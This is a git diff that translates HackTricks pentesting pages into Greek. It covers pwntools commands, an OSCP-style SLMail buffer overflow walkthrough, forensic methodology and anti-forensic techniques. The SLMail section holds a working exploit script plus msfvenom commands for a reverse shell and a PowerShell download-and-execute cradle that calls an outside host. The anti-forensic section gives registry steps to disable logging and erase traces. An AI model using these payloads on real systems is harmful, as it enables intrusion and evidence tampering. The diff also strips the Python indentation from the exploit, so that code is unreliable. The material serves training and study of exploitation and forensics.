(16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output +- τύπος εξόδου (raw, hex, string, elf) +- περιεχόμενο αρχείου εξόδου (16, 32, 64, linux, windows...) +- αποφυγή byte (νέες γραμμές, null, μια λίστα) +- επιλέξτε encoder debug shellcode χρησιμοποιώντας gdb εκτελέστε την έξοδο # **Pwn checksec** Checksec script - ``` pwn checksec ``` - # Pwn constgrep # Pwn cyclic -Get a pattern - +Πάρε ένα μοτίβο ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Μπορεί να επιλεγεί:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- Το χρησιμοποιούμενο αλφάβητο (χαμηλά γράμματα από προεπιλογή) +- Μήκος μοναδικού μοτίβου (προεπιλογή 4) +- συμφραζόμενα (16,32,64,linux,windows...) +- Πάρτε την απόκλιση (-l) # Pwn debug -Attach GDB to a process - +Συνδέστε το GDB σε μια διαδικασία ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Μπορεί να επιλεγεί:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- Με εκτελέσιμο, με όνομα ή με pid context (16,32,64,linux,windows...) +- gdbscript προς εκτέλεση - sysrootpath # Pwn disablenx -Disable nx of a binary - +Απενεργοποίηση nx ενός δυαδικού αρχείου ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +Αποσυναρμολόγηση hex opcodes ``` pwn disasm ffe4 ``` +**Μπορεί να επιλέξει:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- συμφραζόμενα (16,32,64,linux,windows...) +- βασική διεύθυνση +- χρώμα (προεπιλογή)/χωρίς χρώμα # Pwn elfdiff -Print differences between 2 fiels - +Εκτυπώνει τις διαφορές μεταξύ 2 αρχείων ``` pwn elfdiff ``` - # Pwn hex -Get hexadecimal representation - +Λάβετε την εξαγωγή σε δεκαεξαδική μορφή ```bash pwn hex hola #Get hex of "hola" ascii ``` - # Pwn phd -Get hexdump - +Πάρε hexdump ``` pwn phd ``` +**Μπορεί να επιλέξει:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- Αριθμός byte προς εμφάνιση +- Αριθμός byte ανά γραμμή για επισήμανση byte +- Παράλειψη byte στην αρχή # Pwn pwnstrip @@ -120,8 +100,7 @@ pwn phd # Pwn shellcraft -Get shellcodes - +Αποκτήστε shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -129,46 +108,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Μπορεί να επιλέξει:** -**Can select:** +- shellcode και παραμέτρους για το shellcode +- Έξοδος αρχείου +- μορφή εξόδου +- αποσφαλμάτωση (σύνδεση dbg με το shellcode) +- πριν (παγίδα αποσφαλμάτωσης πριν από τον κώδικα) +- μετά +- αποφυγή χρήσης opcodes (προεπιλογή: όχι κενό και νέα γραμμή) +- Εκτέλεση του shellcode +- Χρώμα/χωρίς χρώμα +- λίστα syscalls +- λίστα πιθανών shellcodes +- Δημιουργία ELF ως κοινή βιβλιοθήκη -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -# Pwn template - -Get a python template +# Πρότυπο Pwn +Πάρτε ένα πρότυπο python ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Μπορεί να επιλεγεί:** host, port, user, pass, path και quiet # Pwn unhex -From hex to string - +Από hex σε string ``` pwn unhex 686f6c61 ``` +# Pwn ενημέρωση -# Pwn update - -To update pwntools - +Για να ενημερώσετε το pwntools ``` pwn update ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 1f8119bb8..b16a50b34 100644 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,20 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **Αρχίστε να εγκαθιστάτε την υπηρεσία SLMail** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## Επανεκκίνηση της υπηρεσίας SLMail +Κάθε φορά που χρειάζεται να **επανεκκινήσετε την υπηρεσία SLMail** μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows: ``` net start slmail ``` - ![](<../images/image (23) (1).png>) -## Very basic python exploit template - +## Πολύ βασικό πρότυπο εκμετάλλευσης python ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Αλλαγή Γραμματοσειράς Immunity Debugger** -## **Change Immunity Debugger Font** +Πηγαίνετε στο `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **Συνδέστε τη διαδικασία με το Immunity Debugger:** **File --> Attach** ![](<../images/image (24) (1) (1).png>) -**And press START button** +**Και πατήστε το κουμπί START** -## **Send the exploit and check if EIP is affected:** +## **Στείλτε την εκμετάλλευση και ελέγξτε αν επηρεάζεται το EIP:** ![](<../images/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Κάθε φορά που διακόπτετε την υπηρεσία, θα πρέπει να την επανεκκινείτε όπως αναφέρεται στην αρχή αυτής της σελίδας. -## Create a pattern to modify the EIP +## Δημιουργήστε ένα μοτίβο για να τροποποιήσετε το EIP -The pattern should be as big as the buffer you used to broke the service previously. +Το μοτίβο θα πρέπει να είναι όσο το δυνατόν μεγαλύτερο από το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως. ![](<../images/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Αλλάξτε το buffer της εκμετάλλευσης και ορίστε το μοτίβο και εκκινήστε την εκμετάλλευση. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Μια νέα συντριβή θα πρέπει να εμφανιστεί, αλλά με διαφορετική διεύθυνση EIP: ![](<../images/image (27) (1) (1).png>) -Check if the address was in your pattern: +Ελέγξτε αν η διεύθυνση ήταν στο μοτίβο σας: ![](<../images/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Φαίνεται ότι **μπορούμε να τροποποιήσουμε το EIP στην απόσταση 2606** του buffer. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Ελέγξτε το τροποποιώντας το buffer της εκμετάλλευσης: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Με αυτό το buffer, το EIP που κατέρρευσε θα πρέπει να δείχνει στο 42424242 ("BBBB") ![](<../images/image (30) (1) (1).png>) ![](<../images/image (29) (1) (1).png>) -Looks like it is working. +Φαίνεται ότι λειτουργεί. -## Check for Shellcode space inside the stack +## Έλεγχος για χώρο Shellcode μέσα στη στοίβα -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B θα πρέπει να είναι αρκετό για οποιοδήποτε ισχυρό shellcode. +Ας αλλάξουμε το bufer: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +εκκινήστε την νέα εκμετάλλευση και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode ![](<../images/image (31) (1).png>) ![](<../images/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Μπορείτε να δείτε ότι όταν επιτευχθεί η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε πολύ χώρο για να τοποθετήσουμε ένα shellcode εδώ. -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +Σε αυτή την περίπτωση έχουμε **από 0x0209A128 έως 0x0209A2D6 = 430B.** Αρκετό. -## Check for bad chars - -Change again the buffer: +## Έλεγχος για κακά χαρακτήρες +Αλλάξτε ξανά το buffer: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +Οι κακοί χαρακτήρες ξεκινούν από το 0x01 γιατί το 0x00 είναι σχεδόν πάντα κακό. -The badchars starts in 0x01 because 0x00 is almost always bad. +Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τους χαρακτήρες που αποδεικνύονται άχρηστοι: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Για παράδειγμα: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +Σε αυτή την περίπτωση μπορείτε να δείτε ότι **δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A** (τίποτα δεν αποθηκεύεται στη μνήμη αφού ο χαρακτήρας είναι 0x09). ![](<../images/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +Σε αυτή την περίπτωση μπορείτε να δείτε ότι **ο χαρακτήρας 0x0D αποφεύγεται**: ![](<../images/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής +Χρησιμοποιώντας: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +Θα **καταγράψετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLL που έχει: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (35) (1).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά JMP ESP bytes, για να το κάνετε αυτό εκτελέστε: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Τότε, αν βρεθεί κάποια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα badchar:** ![](<../images/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**Σε αυτή την περίπτωση, για παράδειγμα: \_0x5f4a358f**\_ +## Δημιουργία shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Αν η εκμετάλλευση δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας shell έχει φτάσει), προσπαθήστε να δημιουργήσετε άλλους κώδικες shell (msfvenom με δημιουργία διαφορετικών κωδίκων shell για τις ίδιες παραμέτρους). -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Προσθέστε μερικά NOPS στην αρχή** του κώδικα shell και χρησιμοποιήστε το και τη διεύθυνση επιστροφής για JMP ESP, και ολοκληρώστε την εκμετάλλευση: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> Υπάρχουν shellcodes που θα **επικαλύψουν τον εαυτό τους**, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode -## Improving the shellcode - -Add this parameters: +## Βελτίωση του shellcode +Προσθέστε αυτές τις παραμέτρους: ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md index e725dfa85..1befeb408 100644 --- a/src/forensics/basic-forensic-methodology/README.md +++ b/src/forensics/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# Βασική Εγκληματολογική Μεθοδολογία {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## Δημιουργία και Τοποθέτηση μιας Εικόνας {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## Ανάλυση Κακόβουλου Λογισμικού -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Αυτό **δεν είναι απαραίτητο το πρώτο βήμα που πρέπει να εκτελέσετε μόλις έχετε την εικόνα**. Αλλά μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα συστήματος αρχείων, εικόνα μνήμης, pcap... οπότε είναι καλό να **κρατάτε αυτές τις ενέργειες στο μυαλό σας**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## Επιθεώρηση μιας Εικόνας -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Αν σας δοθεί μια **εγκληματολογική εικόνα** μιας συσκευής μπορείτε να ξεκινήσετε **να αναλύετε τις κατατμήσεις, το σύστημα αρχείων** που χρησιμοποιείται και **να ανακτάτε** δυνητικά **ενδιαφέροντα αρχεία** (ακόμα και διαγραμμένα). Μάθετε πώς στο: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμα και την πλατφόρμα, θα πρέπει να αναζητηθούν διάφορα ενδιαφέροντα τεκμήρια: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## Βαθιά επιθεώρηση συγκεκριμένων τύπων αρχείων και Λογισμικού -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Αν έχετε ένα πολύ **ύποπτο** **αρχείο**, τότε **ανάλογα με τον τύπο αρχείου και το λογισμικό** που το δημιούργησε, αρκετές **τεχνικές** μπορεί να είναι χρήσιμες.\ +Διαβάστε την παρακάτω σελίδα για να μάθετε μερικές ενδιαφέρουσες τεχνικές: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +Θέλω να κάνω μια ειδική αναφορά στη σελίδα: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## Επιθεώρηση Dump Μνήμης {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Επιθεώρηση Pcap {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **Αντι-Εγκληματολογικές Τεχνικές** -Keep in mind the possible use of anti-forensic techniques: +Λάβετε υπόψη τη δυνατότητα χρήσης αντι-εγκληματολογικών τεχνικών: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## Κυνήγι Απειλών {{#ref}} file-integrity-monitoring.md diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 615ede378..b671b7a5c 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,159 +1,151 @@ {{#include ../../banners/hacktricks-training.md}} -
+# Χρονικά Σημεία -{% embed url="https://websec.nl/" %} +Ένας επιτιθέμενος μπορεί να ενδιαφέρεται για **την αλλαγή των χρονικών σημείων των αρχείων** για να αποφύγει την ανίχνευση.\ +Είναι δυνατόν να βρείτε τα χρονικά σημεία μέσα στο MFT σε χαρακτηριστικά `$STANDARD_INFORMATION` ** και ** `$FILE_NAME`. -# Timestamps +Και τα δύο χαρακτηριστικά έχουν 4 χρονικά σημεία: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση μητρώου MFT** (MACE ή MACB). -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`. +**Ο εξερευνητής των Windows** και άλλα εργαλεία δείχνουν τις πληροφορίες από **`$STANDARD_INFORMATION`**. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +## TimeStomp - Αντι-Forensic Εργαλείο -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. - -## TimeStomp - Anti-forensic Tool - -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες χρονικών σημείων μέσα στο **`$STANDARD_INFORMATION`** **αλλά** **όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **εντοπιστεί** **ύποπτη** **δραστηριότητα**. ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +Το **USN Journal** (Ημερολόγιο Αριθμού Ακολουθίας Ενημέρωσης) είναι μια δυνατότητα του NTFS (σύστημα αρχείων Windows NT) που παρακολουθεί τις αλλαγές του όγκου. Το [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) εργαλείο επιτρέπει την εξέταση αυτών των αλλαγών. ![](<../../images/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +Η προηγούμενη εικόνα είναι η **έξοδος** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι κάποιες **αλλαγές πραγματοποιήθηκαν** στο αρχείο. ## $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε μια διαδικασία γνωστή ως [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα διατηρούνται σε ένα αρχείο με όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για την ανάλυση αυτού του αρχείου και την αναγνώριση αλλαγών. ![](<../../images/image (450).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δούμε ότι **κάποιες αλλαγές πραγματοποιήθηκαν**. -Using the same tool it's possible to identify to **which time the timestamps were modified**: +Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να εντοπιστεί **σε ποιο χρόνο τροποποιήθηκαν τα χρονικά σημεία**: ![](<../../images/image (451).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: Χρόνος δημιουργίας αρχείου +- ATIME: Χρόνος τροποποίησης αρχείου +- MTIME: Τροποποίηση μητρώου MFT του αρχείου +- RTIME: Χρόνος πρόσβασης αρχείου -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME` -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +Ένας άλλος τρόπος για να εντοπιστούν ύποπτα τροποποιημένα αρχεία θα ήταν να συγκρίνουμε τον χρόνο και στα δύο χαρακτηριστικά αναζητώντας **ασυμφωνίες**. -## Nanoseconds +## Νανοδευτερόλεπτα -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**Τα χρονικά σημεία NTFS έχουν μια **ακρίβεια** **100 νανοδευτερολέπτων**. Έτσι, η εύρεση αρχείων με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτη**. -## SetMace - Anti-forensic Tool +## SetMace - Αντι-Forensic Εργαλείο -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +Αυτό το εργαλείο μπορεί να τροποποιήσει και τα δύο χαρακτηριστικά `$STARNDAR_INFORMATION` και `$FILE_NAME`. Ωστόσο, από τα Windows Vista, είναι απαραίτητο για ένα ζωντανό λειτουργικό σύστημα να τροποποιήσει αυτές τις πληροφορίες. -# Data Hiding +# Απόκρυψη Δεδομένων -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +Το NFTS χρησιμοποιεί ένα κλάστερ και το ελάχιστο μέγεθος πληροφορίας. Αυτό σημαίνει ότι αν ένα αρχείο καταλαμβάνει και ένα κλάστερ και μισό, το **υπόλοιπο μισό δεν θα χρησιμοποιηθεί ποτέ** μέχρι να διαγραφεί το αρχείο. Έτσι, είναι δυνατόν να **αποκρυφτούν δεδομένα σε αυτόν τον χώρο slack**. -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +Υπάρχουν εργαλεία όπως το slacker που επιτρέπουν την απόκρυψη δεδομένων σε αυτόν τον "κρυφό" χώρο. Ωστόσο, μια ανάλυση του `$logfile` και του `$usnjrnl` μπορεί να δείξει ότι προστέθηκαν κάποια δεδομένα: ![](<../../images/image (452).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +Έτσι, είναι δυνατόν να ανακτηθεί ο χώρος slack χρησιμοποιώντας εργαλεία όπως το FTK Imager. Σημειώστε ότι αυτός ο τύπος εργαλείου μπορεί να αποθηκεύσει το περιεχόμενο κρυπτογραφημένο ή ακόμα και κρυπτογραφημένο. # UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +Αυτό είναι ένα εργαλείο που θα **απενεργοποιήσει τον υπολογιστή αν ανιχνευθεί οποιαδήποτε αλλαγή στις θύρες USB**.\ +Ένας τρόπος για να το ανακαλύψετε θα ήταν να ελέγξετε τις τρέχουσες διαδικασίες και **να αναθεωρήσετε κάθε εκτελέσιμο σενάριο python**. -# Live Linux Distributions +# Ζωντανές Διανομές Linux -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν είναι προσαρτημένο μόνο με δικαιώματα ανάγνωσης, δεν θα είναι δυνατόν να ανιχνευθεί η εισβολή. -# Secure Deletion +# Ασφαλής Διαγραφή [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windows Configuration +# Ρύθμιση των Windows -It's possible to disable several windows logging methods to make the forensics investigation much harder. +Είναι δυνατόν να απενεργοποιηθούν πολλές μέθοδοι καταγραφής των Windows για να καταστεί η εγκληματολογική έρευνα πολύ πιο δύσκολη. -## Disable Timestamps - UserAssist +## Απενεργοποίηση Χρονικών Σημείων - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +Αυτό είναι ένα κλειδί μητρώου που διατηρεί ημερομηνίες και ώρες όταν κάθε εκτελέσιμο εκτελείται από τον χρήστη. -Disabling UserAssist requires two steps: +Η απενεργοποίηση του UserAssist απαιτεί δύο βήματα: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. Ρυθμίστε δύο κλειδιά μητρώου, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` και `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, και τα δύο στο μηδέν για να στείλουμε σήμα ότι θέλουμε να απενεργοποιηθεί το UserAssist. +2. Καθαρίστε τους υποκαταλόγους του μητρώου σας που μοιάζουν με `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -## Disable Timestamps - Prefetch +## Απενεργοποίηση Χρονικών Σημείων - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +Αυτό θα αποθηκεύσει πληροφορίες σχετικά με τις εφαρμογές που εκτελούνται με στόχο τη βελτίωση της απόδοσης του συστήματος Windows. Ωστόσο, αυτό μπορεί επίσης να είναι χρήσιμο για εγκληματολογικές πρακτικές. -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- Εκτελέστε `regedit` +- Επιλέξτε τη διαδρομή αρχείου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- Κάντε δεξί κλικ και στα δύο `EnablePrefetcher` και `EnableSuperfetch` +- Επιλέξτε Τροποποίηση σε καθένα από αυτά για να αλλάξετε την τιμή από 1 (ή 3) σε 0 +- Επανεκκινήστε -## Disable Timestamps - Last Access Time +## Απενεργοποίηση Χρονικών Σημείων - Χρόνος Τελευταίας Πρόσβασης -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Όποτε ένα φάκελος ανοίγεται από έναν όγκο NTFS σε έναν διακομιστή Windows NT, το σύστημα παίρνει τον χρόνο για να **ενημερώσει ένα πεδίο χρονικού σημείου σε κάθε καταγεγραμμένο φάκελο**, που ονομάζεται χρόνος τελευταίας πρόσβασης. Σε έναν πολύ χρησιμοποιούμενο όγκο NTFS, αυτό μπορεί να επηρεάσει την απόδοση. -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. Ανοίξτε τον Επεξεργαστή Μητρώου (Regedit.exe). +2. Περιηγηθείτε στο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. +3. Αναζητήστε το `NtfsDisableLastAccessUpdate`. Αν δεν υπάρχει, προσθέστε αυτό το DWORD και ρυθμίστε την τιμή του σε 1, που θα απενεργοποιήσει τη διαδικασία. +4. Κλείστε τον Επεξεργαστή Μητρώου και επανεκκινήστε τον διακομιστή. -## Delete USB History +## Διαγραφή Ιστορικού USB -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or 